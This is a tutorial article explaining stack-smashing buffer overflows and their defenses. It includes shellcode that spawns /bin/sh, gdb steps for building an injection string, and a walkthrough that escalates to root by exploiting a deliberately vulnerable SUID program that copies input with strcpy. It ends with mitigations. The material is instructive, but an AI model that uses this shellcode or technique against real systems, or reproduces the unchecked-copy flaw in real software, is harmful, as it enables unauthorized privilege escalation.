by Isaac Gerg

Each week, security vulnerabilities are discovered in widely deployed software. Many of these security threats stem from buffer-overflow exploitation by which a malicious user attempts to gain control of a computer system by overwhelming it with skillfully crafted input data. Most of these vulnerabilities are detectable at compile time; however, few compilers provide such capabilities.

Buffer overflows have been detected in many types of software ranging from Web browsers to Web servers. Software such as Internet Explorer, Hypertext Preprocessor (PHP), and Apache all have been victim to such vulnerabilities. Because of the widespread availability and use of vulnerable software, buffer-overflow exploits can be a serious threat to system and data integrity. To make matters worse, malicious users often write programs to help others easily exploit these software flaws.

To fully understand how buffer overflows work in helping a malicious user take control of a system, we must both examine some fundamental Computer Science (CS) concepts and also view sample code to probe more deeply into the details of these exploits. The C code examples provided in this article are designed to work with the i686 architecture.

Buffer overflows generally occur on the heap or the stack, as explained below. However, the data on the heap does not often control instruction flow and therefore is usually not of interest. This article focuses solely on buffer overflow that occurs on the stack. The act of writing data on the stack to disrupt normal program execution is called stack smashing. [1]

Buffer-overflow theory

An executing computer program is made up of three main memory areas—the instruction memory, the stack, and the heap. The instruction memory contains machine code (i.e., your program) that is executed by the Central Processing Unit (CPU). The stack area is composed of Activation Records (AR). An AR is created for each function call and stores information, such as return address and local variables. Finally, the heap is an area of memory containing dynamic-length data (e.g., malloc or new).

Traditionally, a stack is thought of as a First-In-Last-Out (FILO) data structure. Students often think of stacking in terms of plates or cards. More specifically, it is often viewed as an "upward-growing" data structure in which plates are always situated atop some bottom plate. In memory, however, this view of the stack is not entirely accurate. It does not grow from a low-memory address to a high-memory address as the plate model may suggest, but rather does the opposite. This detail is important for analyzing the coded examples provided here.

An AR is created and pushed onto a stack when a function is called. The AR contains the function's local variables, called arguments, which are passed to the function, and a few other elements. This data is placed in memory and has no label or tag associated with it. The caller and callee must know exactly where this data resides to properly access it. The solution is to use a standard protocol exercised by the function caller and callee when placing data on the stack during function calls. This ensures that the callee knows where the function arguments reside and the caller knows where the return value is stored. A function's AR also contains the address in memory to which execution is restored when the caller returns. This value is copied from a register containing the address of the next instruction to be executed. This register is called the Instruction Pointer (IP), not to be confused with Internet Protocol.

When a function is called, the caller function places the current IP on the stack, in reverse order, along with the function arguments. Program execution is then transferred to the callee. The callee then saves the caller's stack pointer and allocates memory for local variables. With the use of pointers, a programmer can obtain information about where local variables are stored in stack memory. Using pointer arithmetic, a programmer can essentially write to (almost) anywhere on the stack. This includes overwriting the stored IP used to return execution back to the function caller. When a function completes execution, it sets the IP to the previous value stored on the stack, and then execution resumes at that address. Thus, by cleverly modifying the stored IP, execution can be resumed at almost any place in memory. Table 1 demonstrates this idea (see next page).

The ability to write data recklessly on the stack via pointers presents a problem. It is possible for a program to overwrite its own AR as well the ARs of other functions. Control will not be returned to the caller if the function's IP is overwritten when the function ends. Instead, the program will resume execution using the machine instructions located at the address now contained in the overwritten IP.

Figure 1 demonstrates how the saved IP can be easily overwritten with simple pointer arithmetic. The program, which should print out a string and then exit, is modified in such a way as to make it reprint the string endlessly. This is done by adjusting the saved IP to point back to the code invoking the function call instead of resuming after it and then exiting.

```
/* OverwriteIp.c */

void printMessage()
{
    char strTmp[] = “The Message.”;
    int* piRet;

    /* Modify the IP. Decrement it 5 bytes. */
    piRet = (int*)(strTmp + 28);
    *(piRet) -= 5;

    /* Print ‘The Message’ */
    printf(“%s\n”, strTmp);
    return;
}

int main()
{
    printMessage();
    return 0;
}
```

Figure 1: This code modifies the saved IP to point to the instructions just before the function call to printMessage(). The program should exit, but this modification makes it run endlessly.

Executing arbitrary code via buffer overflow

There are two types of code a buffer-overflow exploit can execute: existing code in the software (as shown in Figure 1) or code created by the user and then input to the target program. Because it is often difficult to use existing program code to disrupt execution and achieve the exploiter's intended effect, exploiters often want to execute code of their own.

A malicious user intends to input the exploit code, or malicious code, via string into a target program and overwrite the saved IP to execute this code. This string is larger than the amount of memory a programmer allocated for it and, thus, it overflows and overwrites adjacent memory. The overflow hopes to overwrite the saved IP with a new IP pointing to an effective address, thereby allowing the execution of the malicious code. Other buffer space may exist between the target buffer and the saved IP; therefore, multiple copies of the new IP are written to ensure that the saved IP is overwritten.

The exploiter can provide this string to the target program in many ways, including using the command line as an argument (as shown by example later in this article). In the case of providing the string as a program argument, the string is copied into a local variable on the stack (i.e., a buffer) not large enough for proper storage. If bounds checking is not conducted, data adjacent to the buffer is overwritten in hopes of modifying the saved IP to now point to the malicious code. Table 1 depicts this process as it occurs in memory.

Table 1: A diagram depicting the Before and After shots of a successful buffer overflow.

← Low-Memory Address			High-Memory Address →		
Before	Buffer		Saved Base Pointer	Saved Instruction Pointer	Function Arguments
After	NOP's*	Exploit Code	New IP	New IP	New IP...

*NOP is an acronym for No-OPeration instructions. NOP instructions are used to stall the CPU and do not affect data integrity.

A few questions arise with this method—

- How is the malicious code provided to the program as a string?
- What amount of overflow is required to overwrite the saved IP?
- What value is given to the new IP to effectively execute the malicious code correctly?

The answers—

- The malicious code is constructed from C/C++ code, disassembled, and converted to machine code. Each byte of machine code is encoded into a string, usually via C. C allows byte values to be specified using an escape sequence: \xXX, where XX is a hexadecimal value. This is shown in Figure 3.
- Based on the design of most functions and of the stack, the overflow amount is usually a few hundred bytes.
- It is nearly impossible to correctly guess the start of the malicious code once it has been input to the target buffer. To solve this problem, NOP instructions are prepended to the malicious code. NOP instructions do not affect data integrity and are used to stall the CPU. Any address within the NOPs will result in executing the malicious code after the NOPs. Thus, a large pool of NOP instructions makes it easier to guess an effective target address.

The starting address used to guess the target address is the initial stack address of a process. The effective target address is always less than the initial stack address. The address of the stack can be easily calculated via C code, as shown in Figure 2. The stack size of most programs is usually in the range of a few hundred bytes.

```
/* Stack.c

Code adapted from:
http://www.insecure.org/stf/smashstack.txt.
*/

int getStackPointer()
{
asm
     (
             "mov %esp,%eax"
     );
}
int main()
{
printf("%p\n", getStackPointer());
return 0;
}
```

Figure 2: This code prints out the stack address.

The code shown in Figure 3 executes the machine code stored in code[]. This code executes /bin/sh.

```
/* ExploitString.c */

char code[] = "\x83\xc4\x40\x55\x89\xe5\x83\xec"
     "\x08\x89\xe3\xb9\xff\x2f\x73\x68\xc1\xe9"
     "\x08\x51\x68\x2f\x62\x69\x6e\x31\xc0\x83"
     "\xeb\x08\x89\x5d\xf8\x89\x45\xfc\x83\xec"
     "\x04\x50\x8d\x45\xf8\x50\xff\x75\xf8\x55"
     "\x55\x31\xc0\x89\xe5\x85\xc0\x57\x53\x8b"
     "\x7d\x08\x8b\x4d\x0c\x8b\x55\x10\x53\x89"
     "\xfb\x31\xc0\x83\xc0\x0b\xcd\x80";

#include <stdio.h>

void test()
{
     int* piReturnAddress;
     piReturnAddress = (int *)&piReturnAddress;
     *(piReturnAddress + 2) = (int)&code[0];
}

int main()
{
     test();
     return 0;
}
```

Figure 3: This code modifies the saved IP to execute the machine instructions contained in the code[] string.

Creating and injecting exploit code

In this section, we demonstrate how buffer-overflow exploit code is created and injected into a target program. First, a C program is constructed that executes /bin/sh. Then, the C program is disassembled using GDB, the Gnu's Not Unix (GNU) Debugger. Modifications are performed to the assembly code to make it suitable for exploitation. Machine code is derived from the assembly code and created into an exploit string. Finally, this string is passed to the target program, buffer overflow occurs, and /bin/sh is executed.

To begin, we wish to our have overflow exploit execute /bin/sh. The execve function is called to perform this action. This function replaces the image of the current process with the image of the program intended to execute. The malicious code using this function is shown in Figure 4. This is basis of the code we wish to execute in our buffer overflow.

```
/* exploitCodeUsingExecve.c */

#include <unistd.h>

int main()
{
     char* argv[1];
     argv[0] = "/bin/sh";
     argv[1] = NULL;

     execve(argv[0], argv, 0);

     return 0;
}
```

Figure 4: This code executes /bin/sh via execve( ).

We display the results of executing the code of Figure 4—

```
[ig@hostname]$ gcc –static –ggdb –o
exploitCodeUsingExecve
     exploitCodeUsingExecve.c
[ig@hostname]$ ./exploitCodeUsingExecve
     sh-2.05b$
```

We can see that we started with a bash prompt, and, after executing exploitCodeUsingExecve, we now have a generic sh prompt.

```
The code is compiled and disassembled:

gcc –static –ggdb –o exploitCodeUsingExecve
exploitCodeUsingExecve.c
gdb exploitCodeUsingExecve
(gdb) disassemble main
(gdb) disassemble execve
```

Figure 5 depicts the disassembly via GDB—

```
0x80481d0 <main>: push %ebp
0x80481d1 <main+1>: mov %esp,%ebp
0x80481d3 <main+3>: sub $0x8,%esp
0x80481d6 <main+6>: and $0xfffffff0,%esp
0x80481d9 <main+9>: mov $0x0,%eax
0x80481de <main+14>: sub %eax,%esp
0x80481e0 <main+16>: movl $0x808b2e8,0xfffffff8(%
ebp)
0x80481e7 <main+23>: movl $0x0,0xfffffffc(%ebp)
0x80481ee <main+30>: sub $0x4,%esp
0x80481f1 <main+33>: push $0x0
0x80481f3 <main+35>: lea 0xfffffff8(%ebp),%eax
0x80481f6 <main+38>: push %eax
0x80481f7 <main+39>: pushl 0xfffffff8(%ebp)
0x80481fa <main+42>: call 0x804cfcc <execve>

0x804cfcc <execve>: push %ebp
0x804cfcd <execve+1>: mov $0x0,%eax
0x804cfd2 <execve+6>: mov %esp,%ebp
0x804cfd4 <execve+8>: test %eax,%eax
0x804cfd6 <execve+10>: push %edi
0x804cfd7 <execve+11>: push %ebx
0x804cfd8 <execve+12>: mov 0x8(%ebp),%edi
0x804cfdb <execve+15>: je 0x804cfe2 <execve+22>
0x804cfdd <execve+17>: call 0x0
0x804cfe2 <execve+22>: mov 0xc(%ebp),%ecx
0x804cfe5 <execve+25>: mov 0x10(%ebp),%edx
0x804cfe8 <execve+28>: push %ebx
0x804cfe9 <execve+29>: mov %edi,%ebx
0x804cfeb <execve+31>: mov $0xb,%eax
0x804cff0 <execve+36>: int $0x80
```

Figure 5: Relevant disassemble of exploitCodeUsingExecve.c

It is important to note the int instruction at <execve+36> in Figure 5. This instruction calls an interrupt that performs the system call (i.e., executes /bin/sh). If the assemble code executes correctly, execution should be transferred to /bin/sh. Thus, there is little need for the remaining assembly code after the interrupt, and so it is omitted.

The assembly code in Figure 5 is not entirely suitable for injecting into a target program. Instructions containing the byte 0x00 must be removed, as string-copying operations stop when this character is encountered. The string "/bin/sh" must be placed in memory (usually on the stack). Finally, the stack pointer must be adjusted so that executing the exploit code does not overwrite itself.

After the assembly code in Figure 5 is in a form suitable for injection, its machine code is derived and placed into a string. This can be performed using GDB—

```
     (gdb) x/b 0x80481e0
0x80481e0 <main+16>: 0x55
(gdb)
0x80481e1 <main+17>: 0x89
(gdb)
0x80481e2 <main+18>: 0xe5
(gdb)
0x80481e3 <main+19>: 0x83
(gdb)
0x80481e4 <main+20>: 0xec
...
```

The machine code, now in byte format, is assembled into a string (an example of this is shown in Figure 3). The exploit string is now ready to inject into a target program.

Code-injection methods vary, based on the particular buffer that is vulnerable to overflow. This can include typing a malformed string into a Web browser or a command-line application. A common method for command-line applications is to pass the malicious string as an input parameter to the target program.

Unfortunately, good software documentation provides a useful information source for malicious users who wish to construct a buffer overflow. Software limitations, such as "Usernames on a system can be no more than 128 bytes," present good targets for buffer overflows.

An example

In this section, an example is presented using the exploit techniques previously described. To enhance the example's realism, the source code to the target program is not immediately provided—however, it is assumed documentation is provided.

The target application is a command-line, mock Domain Name Server (DNS) lookup tool. Given its DNS name, the tool returns the IP address of a machine, and the DNS name is passed to the program via command line. An example—

```
./dnsNameToIp www.w3.org
192.168.0.2
```

If the DNS name requested cannot be found, the string "Unknown" is returned. An example—

```
./dnsNameToIp www.doesNotExist.org
Unknown
```

The tool runs as Set User ID (SUID) root, meaning that when the program is executed, it runs as if root is executing it. Thus, any code executing within the process of dnsNameToIp will also run as root—including our exploit code.

The software documentation for the dnsNameToIp tool states that the DNS name provided must be no longer than 255 bytes so as to be somewhat compatible with Request for Comment (RFC) 1123, Requirements for Internet

Hosts—Application and Support. [2] To determine if this limit is vulnerable to overflow, we pass the program a sufficiently large string and look for segmentation fault—

```
     ./dnsNameToIp wwwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww
wwwwwwww
     Unknown
     Segmentation fault (core dump)
```

Since we realized a segmentation fault, we assume the target buffer is approximately 255 bytes long and vulnerable to overflow.

We create a test program to automate the process of injecting the exploit string and NOPs into the target application. The test program is executed, and the overflow successfully exploited—

```
[ig@hostname]$ ./doExploit 256 100 0xbffff5da
dnsNameToIp
Length of strExploit [bytes]: 657
Executing: dnsNameToIp $EXPLOIT
Unknown
sh-2.05b#
```

Notice we started executing running as user "ig." After exploitation, we are running as root (as shown by the # symbol).

Figure 6 depicts the code for the dnsNameToIp program. On inspection, we see that the strcpy() function call in main caused the buffer strBuffer to overflow and thus overwrite the IP.

Many attacks are not initially successful. To find a successful set, malicious users can write scripts to try various parameter combinations.

```
/* dnsNameToIp.c */
/* This program runs as SUID root */


#include <string.h>
#include <stdio.h>

char* getIpFromDns(char* strDnsName)
{
     if (strcasecmp(strDnsName, "www.raytheon.
com") == 0)
     {
             return "192.168.0.1";
     }
     else if (strcasecmp(strDnsName, "www.w3.org")
== 0)
     {
             return "192.168.0.2";
     }
     else if (strcasecmp(strDnsName, "www.
slashdot.org") == 0)
     {
             return "192.168.0.3";
     }
     else if (strcasecmp(strDnsName, "www.
kerneltrap.org") == 0)
     {
             return "192.168.0.4";
     }

     return "Unknown";
}

int main(int argc, char* argv[])
{
     char strBuffer[255];

     strcpy(&strBuffer[0], argv[1]);
     printf("%s\n", getIpFromDns(strBuffer));
     return 0;
}
```

Figure 6: Source code for the mock DNS name lookup tool

Buffer-overflow defense

Many methods have been used to prevent damage caused by buffer overflows that occur on the stack. Typically, methods of defense against buffer overflows fall into one of two categories—proactive and reactive.

Proactive defenses prevent buffer overflow. This type of defense usually involves checking every memory read/write and ensuring it is done within the proper memory area. Although this technique is highly effective against stack smashing, it causes program slowdown.

Examples of proactive defenses include the following—

- Bounds-/memory-checking software such as Electric Fence [3] and Purify [4]
- Typesafe languages such as Java
- Avoiding the use of functions not performing length checks (i.e., using strncpy() instead of strcpy())

Reactive defenses permit buffer overflows to occur but prevent undesired program execution flow. These defenses usually involve validating memory at the end of a function call to detect if the saved IP or other parts of the stack have been overwritten. If buffer overflow is detected, the program exits or begins executing a recovery routine. Reactive defenses often alleviate some overhead associated with proactive bounds-checking solutions. Reactive methods permit a program to write anywhere in memory, as it normally would, but these methods prevent undesirable program execution, including execution in the stack area.

Examples of reactive defenses include the following—

- Immunix StackGaurd [5] is a software tool that introduces a "canary" byte next to the return address on the stack. Thus, a buffer overflow must overwrite this byte along with the saved IP. At the end of a function call, StackGaurd checks to see if this byte has been overwritten.
- StackShield [6] is a software tool that copies the saved IP to the data segment. Here, the IP is not affected if stack overflow occurs. When a function returns, the program checks to see if the IP in the function's AR differs from the copied version.

Of all the methods mentioned, the biggest defense against buffer-overflow exploits is to prevent them from occurring. Defensive programming techniques—using length-aware functions, pointer bounds checking, checking for null pointers, etc.—are often the best solutions.

Table 2 comprises a brief list of common constructs susceptible to overflow and some suggested alternatives.

Table 2: Vulnerable programming constructs and some possible alternatives

Vulnerable Construct	Possible Solutions/Alternatives
sprintf( )	Range check %s fields before calling
While () { fgetc() }	Use a for loop or provide stringent break conditions. while loops are often overlooked by programmers when searching for buffer overflows.
gets()	Use a for loop to acquire data from the command line. Set a maximum on the number of characters read.
system()	Ensure parameters cannot be modified by the user. Validate executable name.
strcpy()	strncpy()
strcat()	strncat()
strcmp()	strncmp()
argv[]	Determine length of argv[i] before parsing or copying.

Conclusion

The goal of a buffer-overflow exploit is to disrupt a desired program flow. Specifically, buffer overflows often attempt to gain entire or partial control of a system or daemon. System control is overtaken by overflowing a data buffer and overwriting a nearby saved IP. When the function returns, program control does not resume normally but is sent to a new location containing malicious code.

A malicious user may intend to disrupt program flow by executing portions of pre-existing code, but, more often, the intention is to execute user-provided code. A malicious user can provide malicious code to a program through many interfaces, including the command line.

There are many ways to circumvent such attacks. Many programming methodologies and software tools exist to detect and prevent these vulnerabilities. Defensive programming styles, such as validating user input and using length-aware functions, are often the best preventive methods to avoid these attacks. ■

About the Author

Isaac Gerg

Isaac Gerg graduated with honors from The Pennsylvania State University, where he earned a B.S. in Computer Engineering. He is currently employed as a software engineer at Raytheon Intelligence and Information Systems—State College, Pennsylvania and can be reached at isaac.gerg@raytheon.com.

References

1. "Aleph One," "Smashing the Stack For Fun And Profit," Phrack, 7(49), Nov. 1996, Available HTTP: http://www.insecure.org/stf/smashstack.txt.
2. Braden R., "Requirements for Internet Hosts—Application and Support," Internet Engineering Task Force, Network Working Group, Oct. 1989, Available HTTP: http://asg.web.cmu.edu/rfc/rfc1123.html.
3. Perens B., Electric Fence program, Available HTTP: http://perens.com/FreeSoftware/ElectricFence/.
4. IBM, IBM Rational Purify program, Available HTTP: http://www-306.ibm.com/software/awdtools/purify/.
5. Cowan C., Wagle P., Pu C., Beattie S., and Walpole J., "Buffer Overflows: Attacks and Defenses for the Vulnerability of the Decade," DARPA Information Survivability Conference and Expo (DISCEX), Hilton Head Island SC, Jan 2000, Available HTTP: http://www.cse.ogi.edu/~crispin/discex00.pdf.
6. "Vendicator," Stack Shield program, Available HTTP: http://www.angelfire.com/sk/stackshield/index.html.